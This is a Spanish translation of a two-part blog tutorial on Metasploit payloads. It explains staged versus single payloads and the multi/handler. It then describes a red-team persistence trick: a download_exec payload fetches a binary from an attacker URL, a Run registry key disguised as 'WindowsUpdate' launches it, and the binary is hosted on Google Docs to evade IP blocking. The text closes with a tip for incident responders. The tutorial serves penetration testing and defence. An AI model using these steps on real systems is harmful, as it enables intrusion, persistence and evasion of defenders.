Sie sind auf Seite 1von 6

http://www.seguridadjabali.com/2012/10/que-es-payload.html http://hacknode.blogspot.com.es/2011/06/payloads-de-metasploit-explicados-parte.

html

Payloads de Metasploit Explicados - Parte 1


Este artculo se encuentra basado en el post Metasploit Payloads Explained - Part 1 publicado por Rob Fuller a.k.a @mubix

La seleccin de payloads es algo sobre lo cual raramente se habla en detalle. La mayora de la pruebas de concepto (PoC) solo utilizan calc.exe, netcat, o alguna clase de socket. La vasta mayora de tutoriales de Metasploit, videos y documentacin utilizan el payload windows/meterpreter/reverse_tcp el cual es uno de los 224 payloads posibles. Una pequea advertencia: Ya que los payloads en Metasploit no se actualizan con la misma frecuencia como otros componentes de Metasploit, este es un punto en la documentacin de estos (Junio 23, 2011) y los payloads disponibles en Metasploit estn cambiando constantemente. Los reto a continuar haciendo un 'show payloads' y ver que hay de nuevo. Si ejecutamos 'show payloads' en la base de la consola de Metasploit (msf>), veremos todos los payloads disponibles en Metasploit. Sin embargo, los desarrolladores de mdulos de exploits pueden ayudar un poco al usuario con su seleccin ubicando limitadores especiales dentro de su mdulo. Estos limitadores pueden ser tan especficos como el apuntar a un payload especfico, o tan general como el especificar que solo trabajar con un payload de 'windows'. Como ejemplo decente de esta accin revisemos el mdulo de exploit JBoss " bshdeployer" (modules/exploits/multi/http/jboss_bshdeployer.rb). Los payloads que tiene Metasploit se desglosan en 'staged', 'stagers', y 'singles (tambin conocidos como Inline)'. La diferencia entre 'staged' y 'stagers' es muy simple, los payloads 'staged' utilizan pequeos 'stagers' para poder ajustarse en pequeos espacios de explotacin. Durante la explotacin, el desarrollador del exploit por lo regular tiene una muy limitada cantidad de memoria que pueda manipular a travs de las entradas de los programas que estn explotando. Los stagers van en este espacio y su nico trabajo derribar el resto del payload ' staged'. La desventaja de este tipo de payloads es que requieren una conexin a algo que les palanquear el resto del payload. Los payloads Inline o 'singles' no tienen este problema. Estos se encuentran auto-contenidos y hacen lo que estan diseados a hacer sin asistencia alguna. Todos los exploits en Metasploit utilizan el nico y conocido Multi Handler. Lo podemos llamar as por la forma en como lo invocamos: ? 1 msf> use multi/handler Es un ttulo apropiado, ya que se encuentra equipado para manejar cada uno de los exploits dentro de Metasploit sin importar la arquitectura o el tipo de conexin que se est haciendo. Sabe cmo tratar con cada tipo de payload porque le decimos que esperar, pero eso no quita el hecho de que en esta sencilla utilidad se encuentra el escaln fundamental para todas la explotaciones con Metasploit. La estructura de la mayora de los payloads dice exactamente lo que hacen, pero no siempre. Si dice en la descripcin

que en un payload "Inline" eso significa es que es un payload single (independiente), si dice que es un "Stager" significa que es un payload montable. Vamos a ver algunos de los menos conocidos: cmd/windows/adduser - Este es un payload individual que ejecuta "net user /add" con el nombre de usuario y contrasea que hemos especificado. Este payload no indica que es "Inline" pero todos los payloads de los grupos "cmd/*" o "*/exec" son individuales. osx/armle/vibrate - Un payload individual que cuando se ejecuta en un iPhone, lo hace vibrar. generic/debug_trap - Dispara un depurador si se adjunta al proceso (envia un byte simple \xCC 'break') Una cosa que no es inmediatamente obvia es otro marcador de los payloads montables (staged) vs. los individuales (singles): osx/ppc/shell/reverse_tcp osx/ppc/shell_reverse_tcp La diferencia entre estos dos payloads no es mas obvia que el hecho que una tiene un underscore '_' en lugar de un forward slash '/'. El payload con el underscore significa que es un payload individual mientras que el otro significa que es un payload montable. Pero la arquitectura de la convencin de nombramiento de estos payloads es un poco complicada. La mayoria se ajustan a OS/ARCHITECTURE/TYPE/PAYLOAD donde un slash en lugar de un underscore entre TYPE y PAYLOAD significar la diferencia que acabamos de tratar. Pero no todos los payloads se ajustan a este formato. Podemos incluso enloquecernos e ir a revisar el directorio: msfdirectory/modules/payloads/ todo en el directorio singles, es efectivamente un payload individual. Los payloads individuales son los mejores para disparar y olvidarnos de ellos, son utilizados como payloads para memorias USB (de tal forma que la mquina no tiene que tener una conexin para hacer lo que se necesita) hasta llegar a un mtodo de persistencia muy astuto. Uno que he utilizado con frecuencia en CCDC era el del payload: 'windows/download_exec'. La nica opcin que tiene este payload individual es "URL". Aqui se define algo como http://www.redteam.com/evil.exe y se genera el binario:

(Si, es posible utilizar msfpayload o msfvenom en la lnea de comando para generar payloads, pero me gusta permanecer dentro de msfconsole). Entonces definimos eso a auto iniciar cuando alguien inicie sesin como : ? meterpreter > reg setval -k "HKLM\\SOFTWARE\\Mic rosoft\\Windows\\Cur 1 rentVersion\\Run" -v "WindowsUpdate" -d "C:\\Windows\\droppe r.exe" Ahora todo lo que tenemos que

hacer es esperar por logins. Si sucede que encuentran nuestro binario evil.exe (el cual download_exec lo hace "a.exe"y lo pone en System32), y bloquean nuestra IP, todo lo que hacer es reemplazar evil.exe en nuestro servidor web y esperar a que este descargue uno nuevo. Una forma cruda de persistencia, pero funciona bien. Yo voy a terminar esto con una lista de todos los payloads... En el prximo artculo veremos Meterpreter, el mejor payload en mi humilde y totalmente imparcial opinin -;), con un poco de pivotaje lanzado en buena medida.

Payloads de Metasploit Explicados - Parte 1A


Este artculo se encuentra basado en el post Metasploit Payloads Explained - Part 1A publicado por Rob Fuller a.k.a @mubix

En la parte 1 de esta serie vimos un ejemplo utilizado por @mubix en CCDC con el payload single "windows/download_exec". Una de las desventajas de este payload es que necesitamos hospedar el binario en un servidor web, dndole una IP o nombre de host que puede ser bloqueado. Bien, Google recientemente (hace un par de meses), permite cargar cualquier clase de archivo a Google Docs. Y adems podemos compartir estos archivos pblicamente. Probablemente ya pueden ver a donde vamos con esto, pero se requiere seguir algunos pasos. Primero cargamos el binario malicioso (no el dropper 'windows/download_exec', pero s el archivo que este requiere para ejecutar). Creo que es muy fcil y no se necesita una foto para encontrar el botn Cargar ;-)

Luego, vamos a Action -> Share -> Share and make it public:

Obtendremos un enlace que diga docs.google.com / leaf?id= algunacosa:

Vamos a ese enlace y copiamos el enlace que diga "Download" Debemos obtener algo como esto:

https://docs.google.com/uc?id=XXXXXXXX&export=download&hl=en_US Borramos todo despus del & y cambiamos https a http (download_exec no habla SSL) entonces tendremos algo asi: http://docs.google.com/uc?id=XXXXXXXX Ahora usamos ese enlace en la opcin "URL" cuando generemos nuestro binario "windows/download_exec" y ya debemos estar listos para seguir. Aun podemos cambier nuestros binarios en cualquier momento haciendo clickderecho en el archivo en la lista de Google Docs y seleccionar "Agregar o administrar revisiones". Adems, tenemos la ventaja de ser virtualmente no-bloqueables. Algo en lo que debemos ser cuidadosos es en la descarga de enlaces "leaf" que se encuentran aun vigentes si se ponen los archivos en el directorio "trash" en Google Docs. Para esto necesitamos vaciar el directorio trash para que estos queden totalmente offline. Para aquellos que atienden incidentes de seguridad, si encuentran algo haciendo estas solicitudes, cambien la porcin UC de la descarga de regreso a "leaf" y podrn saber cuando fue cargado el archivo malicioso, podrn tener habilitada la opcin "Reportar Contenido Abusivo" lo cual har que la cuenta sea revisada por Google si contina haciendo "cosas malas".